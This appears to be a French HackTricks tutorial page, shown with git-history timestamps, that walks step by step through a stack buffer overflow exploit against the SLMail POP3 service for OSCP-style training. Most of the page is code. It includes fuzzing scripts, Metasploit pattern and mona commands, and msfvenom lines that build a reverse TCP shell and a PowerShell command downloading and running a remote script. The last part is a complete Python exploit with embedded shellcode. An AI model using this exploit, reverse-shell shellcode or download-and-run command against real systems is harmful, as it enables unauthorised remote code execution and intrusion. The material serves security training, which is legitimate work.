hacktricks/exploiting/windows-exploiting-basic-guide-oscp-lvl.md

293 lines
12 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
## Exploitation Windows (Guide de base - Niveau OSCP)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2023-06-03 13:10:46 +00:00
## **Commencez par installer le service SLMail**
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
## Redémarrer le service SLMail
2023-06-03 13:10:46 +00:00
Chaque fois que vous devez **redémarrer le service SLMail**, vous pouvez le faire en utilisant la console Windows :
```
net start slmail
```
2023-06-03 13:10:46 +00:00
## Modèle d'exploit Python très basique
```python
#!/usr/bin/env python
import socket
RHOST = "192.168.0.5"
RPORT = 31337
2023-06-03 13:10:46 +00:00
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
buf = ""
buf += "A" * 1024
2023-06-03 13:10:46 +00:00
s.send(buf)
s.close()
```
2023-06-03 13:10:46 +00:00
```python
#!/usr/bin/env python
import socket
RHOST = "192.168.0.5"
RPORT = 31337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
buf = ""
buf += "A" * 1024
s.send(buf)
s.close()
```
Ce modèle d'exploit Python très basique crée une connexion à une adresse IP et un port spécifiques, puis envoie une charge utile de 1024 octets remplis de la lettre "A". Ce modèle peut être utilisé comme point de départ pour développer des exploits plus avancés.
2020-12-28 14:30:41 +00:00
```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
2023-06-03 13:10:46 +00:00
## **Changer la police d'Immunity Debugger**
2023-06-03 13:10:46 +00:00
Allez dans `Options >> Apparence >> Polices >> Changer (Consolas, Gras, 9) >> OK`
2023-06-03 13:10:46 +00:00
## **Attacher le processus à Immunity Debugger:**
2023-06-03 13:10:46 +00:00
**Fichier --> Attacher**
2022-12-24 19:34:46 +00:00
![](<../.gitbook/assets/image (24) (1) (1).png>)
2023-06-03 13:10:46 +00:00
**Et appuyez sur le bouton DÉMARRER**
2023-06-03 13:10:46 +00:00
## **Envoyer l'exploit et vérifier si EIP est affecté:**
2022-12-24 19:34:46 +00:00
![](<../.gitbook/assets/image (25) (1) (1).png>)
2023-06-03 13:10:46 +00:00
Chaque fois que vous interrompez le service, vous devez le redémarrer comme indiqué au début de cette page.
2023-06-03 13:10:46 +00:00
## Créer un modèle pour modifier EIP
2023-06-03 13:10:46 +00:00
Le modèle doit être aussi grand que le tampon que vous avez utilisé pour interrompre le service précédemment.
2022-12-24 19:34:46 +00:00
![](<../.gitbook/assets/image (26) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
2023-06-03 13:10:46 +00:00
Modifiez le tampon de l'exploit et définissez le modèle, puis lancez l'exploit.
2023-06-03 13:10:46 +00:00
Un nouveau crash devrait apparaître, mais avec une adresse EIP différente :
2022-12-24 19:34:46 +00:00
![](<../.gitbook/assets/image (27) (1) (1).png>)
2023-06-03 13:10:46 +00:00
Vérifiez si l'adresse était dans votre modèle :
2022-12-24 19:34:46 +00:00
![](<../.gitbook/assets/image (28) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
2023-06-03 13:10:46 +00:00
Il semble que **nous puissions modifier l'EIP à l'offset 2606** du tampon.
2023-06-03 13:10:46 +00:00
Vérifiez-le en modifiant le tampon de l'exploit :
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
2023-06-03 13:10:46 +00:00
Avec ce tampon, l'EIP qui a planté devrait pointer vers 42424242 ("BBBB")
2022-12-24 19:34:46 +00:00
![](<../.gitbook/assets/image (30) (1) (1).png>)
2022-12-24 19:34:46 +00:00
![](<../.gitbook/assets/image (29) (1) (1).png>)
2023-06-03 13:10:46 +00:00
On dirait que ça fonctionne.
2023-06-03 13:10:46 +00:00
## Vérifier l'espace pour le shellcode dans la pile
2023-06-03 13:10:46 +00:00
600B devrait être suffisant pour tout shellcode puissant.
2023-06-03 13:10:46 +00:00
Modifions le tampon :
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
2023-06-03 13:10:46 +00:00
Lancer la nouvelle exploitation et vérifier l'EBP et la longueur du shellcode utile
2022-09-30 10:27:15 +00:00
![](<../.gitbook/assets/image (31) (1).png>)
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (32) (1).png>)
2023-06-03 13:10:46 +00:00
Vous pouvez voir que lorsque la vulnérabilité est atteinte, l'EBP pointe vers le shellcode et que nous avons beaucoup d'espace pour localiser un shellcode ici.
2023-06-03 13:10:46 +00:00
Dans ce cas, nous avons **de 0x0209A128 à 0x0209A2D6 = 430B.** Suffisant.
2023-06-03 13:10:46 +00:00
## Vérifier les mauvais caractères
2023-06-03 13:10:46 +00:00
Changer à nouveau le tampon :
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
2023-06-03 13:10:46 +00:00
Les mauvais caractères commencent à 0x01 car 0x00 est presque toujours mauvais.
2023-06-03 13:10:46 +00:00
Exécutez plusieurs fois l'exploit avec ce nouveau tampon en supprimant les caractères qui sont jugés inutiles :
2023-06-03 13:10:46 +00:00
Par exemple :
2023-06-03 13:10:46 +00:00
Dans ce cas, vous pouvez voir que **vous ne devez pas utiliser le caractère 0x0A** (rien n'est enregistré en mémoire depuis le caractère 0x09).
2022-10-24 09:15:22 +00:00
![](<../.gitbook/assets/image (33) (1).png>)
2023-06-03 13:10:46 +00:00
Dans ce cas, vous pouvez voir que **le caractère 0x0D est évité** :
2022-12-03 18:45:54 +00:00
![](<../.gitbook/assets/image (34) (1).png>)
2023-06-03 13:10:46 +00:00
## Trouver un JMP ESP comme adresse de retour
2023-06-03 13:10:46 +00:00
En utilisant :
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
2023-06-03 13:10:46 +00:00
Vous allez **lister les cartes mémoire**. Recherchez une DLL qui a:
* **Rebase: False**
* **SafeSEH: False**
* **ASLR: False**
* **NXCompat: False**
* **OS Dll: True**
2022-12-03 18:45:54 +00:00
![](<../.gitbook/assets/image (35) (1).png>)
2023-06-03 13:10:46 +00:00
Maintenant, à l'intérieur de cette mémoire, vous devriez trouver quelques octets JMP ESP, pour cela, exécutez:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
2023-06-03 13:10:46 +00:00
**Ensuite, si une adresse est trouvée, choisissez-en une qui ne contient pas de mauvais caractères:**
2022-12-03 18:45:54 +00:00
![](<../.gitbook/assets/image (36) (1).png>)
2023-06-03 13:10:46 +00:00
**Dans ce cas, par exemple: \_0x5f4a358f**\_
2023-06-03 13:10:46 +00:00
## Créer un shellcode
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
2023-06-03 13:10:46 +00:00
Si l'exploit ne fonctionne pas mais qu'il devrait (vous pouvez voir avec ImDebg que le shellcode est atteint), essayez de créer d'autres shellcodes (msfvenom peut créer différents shellcodes pour les mêmes paramètres).
2023-06-03 13:10:46 +00:00
**Ajoutez quelques NOPS au début** du shellcode et utilisez-le ainsi que l'adresse de retour pour JMP ESP, et terminez l'exploit:
2020-12-28 15:40:10 +00:00
```bash
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
2020-12-28 15:40:10 +00:00
{% hint style="warning" %}
2023-06-03 13:10:46 +00:00
Il existe des shellcodes qui **s'écrasent eux-mêmes**, il est donc important d'ajouter toujours quelques NOPs avant le shellcode.
2020-12-28 15:40:10 +00:00
{% endhint %}
2023-06-03 13:10:46 +00:00
## Amélioration du shellcode
2023-06-03 13:10:46 +00:00
Ajoutez ces paramètres :
```
EXITFUNC=thread -e x86/shikata_ga_nai
```
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>